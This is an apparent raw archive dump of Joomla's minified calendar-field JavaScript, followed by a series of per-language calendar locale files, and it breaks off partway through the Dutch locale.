time-hours",hrs,t12?1:0,t12?12:23,cell1),M=makeTimePart("time time-minutes",mins,0,59,cell2),AP=null;cell=createElement("td",row);cell.className="time ampm-select";cell.colSpan=self.params.weekNumbers?1:2;if(t12){var selAttr=true,altDate=Date.parseFieldDate(self.inputField.getAttribute("data-alt-value"),self.params.dateFormat,"gregorian");pm=altDate.getHours()>=12;var part=createElement("select",cell);part.className="time-ampm";part.style.width="100%";part.options.add(new Option(JoomlaCalLocale.PM,"pm",pm?selAttr:"",pm?selAttr:""));part.options.add(new Option(JoomlaCalLocale.AM,"am",pm?"":selAttr,pm?"":selAttr));AP=part;AP.addEventListener("change",function(event){self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,event.target.parentNode.parentNode.childNodes[3].childNodes[0].value)},false)}else{cell.innerHTML="&#160;";cell.colSpan=self.params.weekNumbers?3:2}H.addEventListener("change",function(event){self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,event.target.parentNode.parentNode.childNodes[3].childNodes[0].value)},false);M.addEventListener("change",function(event){self.updateTime(event.target.parentNode.parentNode.childNodes[1].childNodes[0].value,event.target.parentNode.parentNode.childNodes[2].childNodes[0].value,event.target.parentNode.parentNode.childNodes[3].childNodes[0].value)},false)})()}row=createElement("div",this.wrapper);row.className="buttons-wrapper btn-group";this._nav_clear=hh(JoomlaCalLocale.clear,"",100,"button","","js-btn btn btn-clear",{type:"button","data-action":"clear"});var cleara=row.querySelector('[data-action="clear"]');cleara.addEventListener("click",function(e){e.preventDefault();var days=self.table.querySelectorAll("td");for(var i=0;i<days.length;i++){if(days[i].classList.contains("selected")){days[i].classList.remove("selected");break}}self.inputField.setAttribute("data-alt-value","0000-00-00 00:00:00");self.inputField.setAttribute("value","");self.inputField.value="";self.inputField.dispatchEvent(new CustomEvent("change",{bubbles:true,cancelable:true}))});if(this.params.showsTodayBtn){this._nav_now=hh(JoomlaCalLocale.today,"",0,"button","","js-btn btn btn-today",{type:"button","data-action":"today"});var todaya=this.wrapper.querySelector('[data-action="today"]');todaya.addEventListener("click",function(e){e.preventDefault();self.date.setLocalDateOnly("gregorian",new Date);self.dateClicked=true;self.callHandler();self.close()})}this._nav_exit=hh(JoomlaCalLocale.exit,"",999,"button","","js-btn btn btn-exit",{type:"button","data-action":"exit"});var exita=this.wrapper.querySelector('[data-action="exit"]');exita.addEventListener("click",function(e){e.preventDefault();if(!self.dateClicked){if(self.inputField.value){if(self.params.dateType!=="gregorian"){self.inputField.setAttribute("data-local-value",self.inputField.value)}if(typeof self.dateClicked==="undefined"){self.inputField.setAttribute("data-alt-value",Date.parseFieldDate(self.inputField.value,self.params.dateFormat,self.params.dateType).print(self.params.dateFormat,"gregorian",false))}else{self.inputField.setAttribute("data-alt-value",self.date.print(self.params.dateFormat,"gregorian",false))}}else{self.inputField.setAttribute("data-alt-value","0000-00-00 00:00:00")}self.date=Date.parseFieldDate(self.inputField.getAttribute("data-alt-value"),self.params.dateFormat,self.params.dateType)}self.close()});this.processCalendar()};JoomlaCalendar.prototype.processCalendar=function(){this.table.style.visibility="hidden";var firstDayOfWeek=this.params.firstDayOfWeek,date=this.date,today=new Date,TY=today.getLocalFullYear(this.params.dateType),TM=today.getLocalMonth(this.params.dateType),TD=today.getLocalDate(this.params.dateType),year=date.getOtherFullYear(this.params.dateType),hrs=date.getHours(),mins=date.getMinutes(),secs=date.getSeconds(),t12=!this.params.time24;if(year<this.params.minYear){year=this.params.minYear;date.setOtherFullYear(this.params.dateType,year)}else if(year>this.params.maxYear){year=this.params.maxYear;date.setOtherFullYear(this.params.dateType,year)}this.params.firstDayOfWeek=firstDayOfWeek;this.date=new Date(date);var month=date.getLocalMonth(this.params.dateType);var mday=date.getLocalDate(this.params.dateType);date.setLocalDate(this.params.dateType,1);var day1=(date.getLocalDay(this.params.dateType)-this.params.firstDayOfWeek)%7;if(day1<0){day1+=7}date.setLocalDate(this.params.dateType,-day1);date.setLocalDate(this.params.dateType,date.getLocalDate(this.params.dateType)+1);var row=this.tbody.firstChild,ar_days=this.ar_days=new Array,weekend=JoomlaCalLocale.weekend,monthDays=parseInt(date.getLocalWeekDays(this.params.dateType));for(var i=0;i<monthDays;++i,row=row.nextSibling){var cell=row.firstChild;if(this.params.weekNumbers){cell.className="day wn";cell.innerHTML=date.getLocalWeekNumber(this.params.dateType);cell=cell.nextSibling}row.className=this.params.weekNumbers?"daysrow wk":"daysrow";var hasdays=false,iday,dpos=ar_days[i]=[],totalDays=monthDays+1;for(var j=0;j<totalDays;++j,cell=cell.nextSibling,date.setLocalDate(this.params.dateType,iday+1)){cell.className="day";cell.style["textAlign"]="center";iday=date.getLocalDate(this.params.dateType);var wday=date.getLocalDay(this.params.dateType);cell.pos=i<<4|j;dpos[j]=cell;var current_month=date.getLocalMonth(this.params.dateType)===month;if(!current_month){if(this.params.showsOthers){cell.className+=" disabled othermonth ";cell.otherMonth=true}else{cell.className+=" emptycell";cell.innerHTML="&#160;";cell.disabled=true;continue}}else{cell.otherMonth=false;hasdays=true;cell.style.cursor="pointer"}cell.disabled=false;cell.innerHTML=this.params.debug?iday:Date.convertNumbers(iday);if(!cell.disabled){cell.caldate=new Date(date);if(current_month&&iday===mday){cell.className+=" selected";this.currentDateEl=cell}if(date.getLocalFullYear(this.params.dateType)===TY&&date.getLocalMonth(this.params.dateType)===TM&&iday===TD){cell.className+=" today"}if(weekend.indexOf(wday)!==-1)cell.className+=" weekend"}}if(!(hasdays||this.params.showsOthers)){row.style.display="none";row.className="emptyrow"}else{row.style.display=""}}if(this.params.showsTime){if(hrs>12&&t12){hrs-=12}hrs=hrs<10?"0"+hrs:hrs;mins=mins<10?"0"+mins:mins;var hoursEl=this.table.querySelector(".time-hours"),minsEl=this.table.querySelector(".time-minutes");this.resetSelected(hoursEl);if(!this.params.time24){hoursEl.value=hrs=="00"?"12":hrs}else{hoursEl.value=hrs}this.resetSelected(minsEl);minsEl.value=mins;if(!this.params.time24){var dateAlt=new Date(this.inputField.getAttribute("data-alt-value")),ampmEl=this.table.querySelector(".time-ampm"),hrsAlt=dateAlt.getHours();if(hrsAlt>12){this.resetSelected(ampmEl);ampmEl.value="pm"}}}if(!this.params.compressedHeader){this._nav_month.getElementsByTagName("span")[0].innerHTML=this.params.debug?month+" "+JoomlaCalLocale.months[month]:JoomlaCalLocale.months[month];this.title.getElementsByTagName("span")[0].innerHTML=this.params.debug?year+" "+Date.convertNumbers(year.toString()):Date.convertNumbers(year.toString())}else{var tmpYear=Date.convertNumbers(year.toString());this._nav_month.getElementsByTagName("span")[0].innerHTML=!this.params.monthBefore?JoomlaCalLocale.months[month]+" - "+tmpYear:tmpYear+" - "+JoomlaCalLocale.months[month]}this.table.style.visibility="visible"};JoomlaCalendar.prototype._bindEvents=function(){var self=this;this.inputField.addEventListener("blur",function(event){var calObj=JoomlaCalendar.getCalObject(this)._joomlaCalendar;if(calObj.dropdownElement.style.display==="block"){event.preventDefault();return}if(calObj){if(calObj.inputField.value){if(typeof calObj.params.dateClicked==="undefined"){calObj.inputField.setAttribute("data-local-value",calObj.inputField.value);if(calObj.params.dateType!=="gregorian"){var ndate,date=Date.parseFieldDate(calObj.inputField.value,calObj.params.dateFormat,calObj.params.dateType);ndate=Date.localCalToGregorian(date.getFullYear(),date.getMonth(),date.getDate());date.setFullYear(ndate[0]);date.setMonth(ndate[1]);date.setDate(ndate[2]);calObj.inputField.setAttribute("data-alt-value",date.print(calObj.params.dateFormat,"gregorian",false))}else{calObj.inputField.setAttribute("data-alt-value",Date.parseFieldDate(calObj.inputField.value,calObj.params.dateFormat,calObj.params.dateType).print(calObj.params.dateFormat,"gregorian",false))}}else{calObj.inputField.setAttribute("data-alt-value",calObj.date.print(calObj.params.dateFormat,"gregorian",false))}}else{calObj.inputField.setAttribute("data-alt-value","0000-00-00 00:00:00")}calObj.date=Date.parseFieldDate(calObj.inputField.getAttribute("data-alt-value"),calObj.params.dateFormat,calObj.params.dateType)}self.close()},true);this.button.addEventListener("click",function(){self.show()},false)};var stopCalEvent=function(ev){ev||(ev=window.event);ev.preventDefault();ev.stopPropagation();return false};var createElement=function(type,parent){var el=null;el=document.createElement(type);if(typeof parent!=="undefined"){parent.appendChild(el)}return el};var isInt=function(input){return!isNaN(input)&&function(x){return(x|0)===x}(parseFloat(input))};var getBoundary=function(input,type){var date=new Date;var y=date.getLocalFullYear(type);return y+input};if(!Array.prototype.indexOf){Array.prototype.indexOf=function(elt){var len=this.length>>>0,from=Number(arguments[1])||0;from=from<0?Math.ceil(from):Math.floor(from);if(from<0){from+=len}for(;from<len;from++){if(from in this&&this[from]===elt){return from}}return-1}}JoomlaCalendar.getCalObject=function(element){if(!element){return false}while(element.parentNode){element=element.parentNode;if(element.classList.contains("field-calendar")){return element}}return false};JoomlaCalendar.prototype.setAltValue=function(){var input=this.inputField;if(input.getAttribute("disabled"))return;input.value=input.getAttribute("data-alt-value")?input.getAttribute("data-alt-value"):""};JoomlaCalendar.onSubmit=function(){Joomla=window.Joomla||{};if(!Joomla.calendarProcessed){Joomla.calendarProcessed=true;var elements=document.querySelectorAll(".field-calendar");for(var i=0;i<elements.length;i++){var element=elements[i],instance=element._joomlaCalendar;if(instance){instance.setAltValue()}}}};JoomlaCalendar.init=function(element,container){window.JoomlaCalLocale=window.JoomlaCalLocale?JoomlaCalLocale:{};JoomlaCalLocale.today=JoomlaCalLocale.today?JoomlaCalLocale.today:"today";JoomlaCalLocale.weekend=JoomlaCalLocale.weekend?JoomlaCalLocale.weekend:[0,6];JoomlaCalLocale.localLangNumbers=JoomlaCalLocale.localLangNumbers?JoomlaCalLocale.localLangNumbers:[0,1,2,3,4,5,6,7,8,9];JoomlaCalLocale.wk=JoomlaCalLocale.wk?JoomlaCalLocale.wk:"wk";JoomlaCalLocale.AM=JoomlaCalLocale.AM?JoomlaCalLocale.AM:"AM";JoomlaCalLocale.PM=JoomlaCalLocale.PM?JoomlaCalLocale.PM:"PM";JoomlaCalLocale.am=JoomlaCalLocale.am?JoomlaCalLocale.am:"am";JoomlaCalLocale.pm=JoomlaCalLocale.pm?JoomlaCalLocale.pm:"pm";JoomlaCalLocale.dateType=JoomlaCalLocale.dateType?JoomlaCalLocale.dateType:"gregorian";JoomlaCalLocale.time=JoomlaCalLocale.time?JoomlaCalLocale.time:"time";JoomlaCalLocale.days=JoomlaCalLocale.days?JoomlaCalLocale.days:'["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]';JoomlaCalLocale.shortDays=JoomlaCalLocale.shortDays?JoomlaCalLocale.shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat","Sun"];JoomlaCalLocale.months=JoomlaCalLocale.months?JoomlaCalLocale.months:["January","February","March","April","May","June","July","August","September","October","November","December"];JoomlaCalLocale.shortMonths=JoomlaCalLocale.shortMonths?JoomlaCalLocale.shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];JoomlaCalLocale.minYear=JoomlaCalLocale.minYear?JoomlaCalLocale.minYear:1900;JoomlaCalLocale.maxYear=JoomlaCalLocale.maxYear?JoomlaCalLocale.maxYear:2100;JoomlaCalLocale.exit=JoomlaCalLocale.exit?JoomlaCalLocale.exit:"Cancel";JoomlaCalLocale.clear=JoomlaCalLocale.clear?JoomlaCalLocale.clear:"Clear";var instance=element._joomlaCalendar;if(!instance){new JoomlaCalendar(element)}else{instance.recreate()}if(element&&element.getElementsByTagName("input")[0]&&element.getElementsByTagName("input")[0].form&&!element.getElementsByTagName("input")[0].disabled){element.getElementsByTagName("input")[0].form.addEventListener("submit",JoomlaCalendar.onSubmit)}};window.JoomlaCalendar=JoomlaCalendar;document.addEventListener("DOMContentLoaded",function(){var elements,i;elements=document.querySelectorAll(".field-calendar");for(i=0;i<elements.length;i++){JoomlaCalendar.init(elements[i])}window.jQuery&&jQuery(document).on("subform-row-add",function(event,row){elements=row.querySelectorAll(".field-calendar");for(i=0;i<elements.length;i++){JoomlaCalendar.init(elements[i])}});window.Calendar={};Calendar.setup=function(obj){if(obj.inputField&&document.getElementById(obj.inputField)){var element=document.getElementById(obj.inputField),cal=element.parentNode.querySelectorAll("button")[0];for(var property in obj){if(obj.hasOwnProperty(property)){switch(property){case"ifFormat":if(cal)cal.setAttribute("data-dayformat",obj.ifFormat);break;case"firstDay":if(cal)cal.setAttribute("data-firstday",parseInt(obj.firstDay));break;case"weekNumbers":if(cal)cal.setAttribute("data-week-numbers",obj.weekNumbers==="true"||obj.weekNumbers===true?"1":"0");break;case"showOthers":if(cal)cal.setAttribute("data-show-others",obj.showOthers==="true"||obj.showOthers===true?"1":"0");break;case"showsTime":if(cal)cal.setAttribute("data-show-time",obj.showsTime==="true"||obj.showsTime===true?"1":"0");break;case"timeFormat":if(cal)cal.setAttribute("data-time-24",parseInt(obj.timeFormat));break;case"displayArea":case"inputField":case"button":case"eventName":case"daFormat":case"disableFunc":case"dateStatusFunc":case"dateTooltipFunc":case"dateText":case"align":case"range":case"flat":case"flatCallback":case"onSelect":case"onClose":case"onUpdate":case"date":case"electric":case"step":case"position":case"cache":case"multiple":break}}}JoomlaCalendar.init(element.parentNode.parentNode)}return null}})}(window,document);
PK!X��22 js/fields/calendar-locales/bg.jsnu�[���window.JoomlaCalLocale = {
	today : "Днес",
	weekend : [0, 6],
	wk : "седм",
	time : "Време:",
	days : ["Неделя", "Понеделник", "Вторник", "Сряда", "Четвъртък", "Петък", "Събота"],
	shortDays : ["Нед", "Пон", "Вт", "Ср", "Чет", "Пет", "Съб"],
	months : ["Януари", "Февруари", "Март", "Април", "Май", "Юни", "Юли", "Август", "Септември", "Октомври", "Ноември", "Декември"],
	shortMonths : ["Ян", "Фев", "Мар", "Апр", "Май", "Юни", "Юли", "Авг", "Сеп", "Окт", "Ное", "Дек"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Затвори",
	clear: "Изчисти"
};PK!|I�TT#js/fields/calendar-locales/fa-ir.jsnu�[���window.JoomlaCalLocale = {
	today : "امروز",
	weekend : [5],
	wk : "هفته",
	time : "زمان",
	days : ["یکشنبه","دوشنبه","سه شنبه","چهارشنبه","پنجشنبه","جمعه","شنبه"],
	shortDays : ["یک","دو","سه","چهار","پنج","جمعه","شنبه"],
	months : ["فروردین","اردیبهشت","خرداد","تیر","مرداد","شهریور","مهر","آبان","آذر","دی","بهمن","اسفند"],
	shortMonths : ["فروردین","اردیبهشت","خرداد","تیر","مرداد","شهریور","مهر","آبان","آذر","دی","بهمن","اسفند"],
	AM : "ق.ظ.",
	PM :  "ب.ظ.",
	am : "ق.ظ.",
	pm : "ب.ظ.",
	dateType : "jalali",
	minYear : 1268,
	maxYear : 1458,
	exit: "بستن",
	clear: "پاک",
	localLangNumbers: ["۰","۱","۲","۳","۴","۵","۶","۷","۸","۹"]
};PK!w��jj js/fields/calendar-locales/da.jsnu�[���window.JoomlaCalLocale = {
	today : "I dag",
	weekend : [0, 6],
	wk : "uge",
	time : "Tid:",
	days : ["Søndag", "Mandag", "Tirsdag", "Onsdag", "Torsdag", "Fredag", "Lørdag"],
	shortDays : ["Søn", "Man", "Tir", "Ons", "Tor", "Fre", "Lør"],
	months : ["Januar", "Februar", "Marts", "April", "Maj", "Juni", "Juli", "August", "September", "Oktober", "November", "December"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Luk",
	clear: "Nulstil"
};PK!Znijj js/fields/calendar-locales/ca.jsnu�[���window.JoomlaCalLocale = {
	today : "Avui",
	weekend : [0, 6],
	wk : "Setm",
	time : "Hora:",
	days : ["Diumenge", "Dilluns", "Dimarts", "Dimecres", "Dijous", "Divendres", "Dissabte"],
	shortDays : ["Du", "Dl", "Dm", "Dx", "Dj", "Dv", "Ds"],
	months : ["Gener", "Febrer", "Març", "Abril", "Maig", "Juny", "Juliol", "Agost", "Setembre", "Octubre", "Novembre", "Desembre"],
	shortMonths : ["Gen", "Feb", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Oct", "Nov", "Des"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Tancar",
	clear: "Desar"
};
PK!���� js/fields/calendar-locales/ja.jsnu�[���window.JoomlaCalLocale = {
	today : "今日",
	weekend : [0, 6],
	wk : "週",
	time : "時間:",
	days : ["日曜日", "月曜日", "火曜日", "水曜日", "木曜日", "金曜日", "土曜日"],
	shortDays : ["日", "月", "火", "水", "木", "金", "土"],
	months : ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月"],
	shortMonths : ["1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月"],
	AM : "午前",
	PM :  "午後",
	am : "午前",
	pm : "午後",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "閉じる",
	clear: "クリア"
};PK!|I�TT$js/fields/calendar-locales/prs-af.jsnu�[���window.JoomlaCalLocale = {
	today : "امروز",
	weekend : [5],
	wk : "هفته",
	time : "زمان",
	days : ["یکشنبه","دوشنبه","سه شنبه","چهارشنبه","پنجشنبه","جمعه","شنبه"],
	shortDays : ["یک","دو","سه","چهار","پنج","جمعه","شنبه"],
	months : ["فروردین","اردیبهشت","خرداد","تیر","مرداد","شهریور","مهر","آبان","آذر","دی","بهمن","اسفند"],
	shortMonths : ["فروردین","اردیبهشت","خرداد","تیر","مرداد","شهریور","مهر","آبان","آذر","دی","بهمن","اسفند"],
	AM : "ق.ظ.",
	PM :  "ب.ظ.",
	am : "ق.ظ.",
	pm : "ب.ظ.",
	dateType : "jalali",
	minYear : 1268,
	maxYear : 1458,
	exit: "بستن",
	clear: "پاک",
	localLangNumbers: ["۰","۱","۲","۳","۴","۵","۶","۷","۸","۹"]
};PK!k>��rr#js/fields/calendar-locales/sr-yu.jsnu�[���window.JoomlaCalLocale = {
	today : "Danas",
	weekend : [0, 6],
	wk : "ned",
	time : "Vreme:",
	days : ["Nedelja", "Ponedeljak", "Utorak", "Sreda", "Četvrtak", "Petak", "Subota"],
	shortDays : ["Ned", "Pon", "Uto", "Sre", "Čet", "Pet", "Sub"],
	months : ["Januar", "Fenruar", "Mart", "April", "Maj", "Juni", "Juli", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Avg", "Sep", "Okt", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zatvori",
	clear: "Sačuvaj"
};
PK!��Vrmm js/fields/calendar-locales/uk.jsnu�[���window.JoomlaCalLocale = {
	today : "Сьогодні",
	weekend : [0, 6],
	wk : "тждн.",
	time : "Час:",
	days : ["Неділя", "Понеділок", "Вівторок", "Середа", "Четвер", "П'ятниця", "Субота"],
	shortDays : ["Нд.", "Пн.", "Вт.", "Ср.", "Чт.", "Пт.", "Сб."],
	months : ["Січень", "Лютий", "Березень", "Квітень", "Травень", "Червень", "Липень", "Серпень", "Вересень", "Жовтень", "Листопад", "Грудень"],
	shortMonths : ["Січ.", "Лют.", "Бер.", "Квіт.", "Трав.", "Черв.", "Лип.", "Серп.", "Вер.", "Жовт.", "Лист.", "Груд."],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Закрити",
	clear: "Очистити"
};PK![*:�ll js/fields/calendar-locales/es.jsnu�[���window.JoomlaCalLocale = {
	today : "Hoy",
	weekend : [0, 6],
	wk : "Sem",
	time : "Hora:",
	days : ["Domingo", "Lunes", "Martes", "Miércoles", "Jueves", "Viernes", "Sábado"],
	shortDays : ["Do", "Lu", "Ma", "Mi", "Ju", "Vi", "Sá"],
	months : ["Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre"],
	shortMonths : ["Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul", "Ago", "Sep", "Oct", "Nov", "Dic"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Cerrar",
	clear: "Limpiar"
};
PK!��Hnn js/fields/calendar-locales/sl.jsnu�[���window.JoomlaCalLocale = {
	today : "Danes",
	weekend : [0, 6],
	wk : "td",
	time : "Čas:",
	days : ["Nedelja", "Ponedeljek", "Torek", "Sreda", "Četrtek", "Petek", "Sobota"],
	shortDays : ["Ned", "Pon", "Tor", "Sre", "Čet", "Pet", "Sob"],
	months : ["Januar", "Februar", "Marec", "April", "Maj", "Junij", "Julij", "Avgust", "September", "Oktober", "November", "December"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Avg", "Sep", "Okt", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zapri",
	clear: "Počisti"
};PK!I���ss js/fields/calendar-locales/bs.jsnu�[���window.JoomlaCalLocale = {
	today : "Danas",
	weekend : [0, 6],
	wk : "se",
	time : "Vrijeme:",
	days : ["Nedjelja", "Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota"],
	shortDays : ["Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub"],
	months : ["Januar", "Februar", "Mart", "April", "Maj", "Juni", "Juli", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Avg", "Sep", "Okt", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zatvori",
	clear: "Snimi"
};PK!e��PP js/fields/calendar-locales/ka.jsnu�[���window.JoomlaCalLocale = {
	today : "დღეს",
	weekend : [0, 6],
	wk : "კვ",
	time : "დრო:",
	days : ["კვირა", "ორშაბათი", "სამშაბათი", "ოთხშაბათი", "ხუთშაბათი", "პარასკევი", "შაბათი"],
	shortDays : ["კვ", "ორშ", "სამშ", "ოთხშ", "ხუთშ", "პარ", "შაბ"],
	months : ["იანვარი", "თებერვალი", "მარტი", "აპრილი", "მაისი", "ივნისი", "ივლისი", "აგვისტო", "სექტემბერი", "ოქტომბერი", "ნოემბერი", "დეკემბერი"],
	shortMonths : ["იან", "თებ", "მარ", "აპრ", "მაი", "ივნ", "ივლ", "აგვ", "სექ", "ოქტ", "ნოე", "დეკ"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "დახურვა",
	clear: "გასუფთავება"
};PK!���6�� js/fields/calendar-locales/fi.jsnu�[���window.JoomlaCalLocale = {
	today : "Tänään",
	weekend : [0, 6],
	wk : "vk",
	time : "Aika:",
	days : ["Sunnuntai", "Maanantai", "Tiistai", "Keskiviikko", "Torstai", "Perjantai", "Lauantai"],
	shortDays : ["Su", "Ma", "Ti", "Ke", "To", "Pe", "La"],
	months : ["Tammikuu", "Helmikuu", "Maaliskuu", "Huhtikuu", "Toukokuu", "Kesäkuu", "Heinäkuu", "Elokuu", "Syyskuu", "Lokakuu", "Marraskuu", "Joulukuu"],
	shortMonths : ["Tammi", "Helmi", "Maalis", "Huhti", "Touko", "Kesä", "Heinä", "Elo", "Syys", "Loka", "Marras", "Joulu"],
	AM : "AP",
	PM :  "IP",
	am : "ap",
	pm : "ip",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Sulje",
	clear: "Tyhjennä"
};PK!�=���� js/fields/calendar-locales/th.jsnu�[���window.JoomlaCalLocale = {
	today : "วันนี้",
	weekend : [0, 6],
	wk : "สัปดาห์",
	time : "เวลา:",
	days : ["อาทิตย์", "จันทร์", "อังคาร", "พุธ", "พฤหัสบดี", "ศุกร์", "เสาร์"],
	shortDays : ["อา.", "จ.", "อ.", "พ.", "พฤ.", "ศ.", "ส."],
	months : ["มกราคม", "กุมภาพันธ์", "มีนาคม", "เมษายน", "พฤษภาคม", "มิถุนายน", "กรกฏาคม", "สิงหาคม", "กันยายน", "ตุลาคม", "พฤศจิกายน", "ธันวาคม"],
	shortMonths : ["ม.ค.", "ก.พ.", "มี.ค.", "เม.ย.", "พ.ค.", "มิ.ย.", "ก.ค.", "ส.ค.", "ก.ย.", "ต.ค.", "พ.ย.", "ธ.ค."],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "ปิด",
	clear: "ล้าง"
};PK!��>-}} js/fields/calendar-locales/cs.jsnu�[���window.JoomlaCalLocale = {
	today : "dnes",
	weekend : [0, 6],
	wk : "kt",
	time : "čas:",
	days : ["neděle", "pondělí", "úterý", "středa", "čtvrtek", "pátek", "sobota"],
	shortDays : ["ne", "po", "út", "st", "čt", "pá", "so"],
	months : ["leden", "únor", "březen", "duben", "květen", "červen", "červenec", "srpen", "září", "říjen", "listopad", "prosinec"],
	shortMonths : ["led", "úno", "bře", "dub", "kvě", "čen", "čec", "srp", "zář", "říj", "lis", "pro"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "zavřít",
	clear: "vymazat"
};PK!|�|�� js/fields/calendar-locales/lt.jsnu�[���window.JoomlaCalLocale = {
	today : "Šiandien",
	weekend : [0, 6],
	wk : "wk",
	time : "Laikas:",
	days : ["Sekmadienis", "Pirmadienis", "Antradienis", "Trečiadienis", "Ketvirtadienis", "Penktadienis", "Šeštadienis"],
	shortDays : ["Sek", "Pir", "Ant", "Tre", "Ket", "Pen", "Šeš"],
	months : ["Sausis", "Vasaris", "Kovas", "Balandis", "Gegužė", "Birželis", "Liepa", "Rugpjūtis", "Rugsšjis", "Spalis", "Lapkritis", "Gruodis"],
	shortMonths : ["Sau", "Vas", "Kov", "Bal", "Geg", "Bir", "Lie", "Rug", "Rgs", "Spa", "Lap", "Grd"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Uždaryti",
	clear: "Išvalyti"
};PK!H�zz js/fields/calendar-locales/de.jsnu�[���window.JoomlaCalLocale = {
	today : "Heute",
	weekend : [0, 6],
	wk : "KW",
	time : "Uhrzeit:",
	days : ["Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag"],
	shortDays : ["Son", "Mon", "Die", "Mit", "Don", "Fre", "Sam"],
	months : ["Januar", "Februar", "März", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Dezember"],
	shortMonths : ["Jan", "Feb", "Mär", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dez"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Schließen",
	clear: "Leeren"
};
PK!칌� js/fields/calendar-locales/sk.jsnu�[���window.JoomlaCalLocale = {
	today : "Dnes",
	weekend : [0, 6],
	wk : "týž.",
	time : "Čas:",
	days : ["Nedeľa", "Pondelok", "Utorok", "Streda", "Štvrtok", "Piatok", "Sobota"],
	shortDays : ["Ned", "Pon", "Uto", "Str", "Štv", "Pia", "Sob"],
	months : ["Január", "Február", "Marec", "Apríl", "Máj", "Jún", "Júl", "August", "September", "Október", "November", "December"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Máj", "Jún", "Júl", "Aug", "Sep", "Okt", "Nov", "Dec"],
	AM : "DOPOL.",
	PM :  "POPOL.",
	am : "dopol.",
	pm : "popol.",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zavrieť",
	clear: "Vymazať"
};
PK!�R�S�� js/fields/calendar-locales/eu.jsnu�[���window.JoomlaCalLocale = {
	today : "Gaur",
	weekend : [0, 6],
	wk : "ast.",
	time : "Ordua:",
	days : ["Igandea", "Astelehena", "Asteartea", "Asteazkena", "Osteguna", "Ostirala", "Larunbata"],
	shortDays : ["ig.", "al.", "as.", "az.", "og.", "or.", "lr."],
	months : ["Urtarrila", "Otsaila", "Martxoa", "Apirila", "Maiatza", "Ekaina", "Uztaila", "Abuztua", "Iraila", "Urria", "Azaroa", "Abendua"],
	shortMonths : ["urt.", "ots.", "mar.", "api.", "mai.", "eka.", "uzt.", "abu.", "ira.", "urr.", "aza.", "abe."],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Itxi",
	clear: "Garbitu"
};
PK!��#�vv js/fields/calendar-locales/nl.jsnu�[���window.JoomlaCalLocale = {
	today : "Vandaag",
	weekend : [0, 6],
	wk : "wk",
	time : "Tijd:",
	days : ["Zondag", "Maandag", "Dinsdag", "Woensdag", "Donderdag", "Vrijdag", "Zaterdag"],
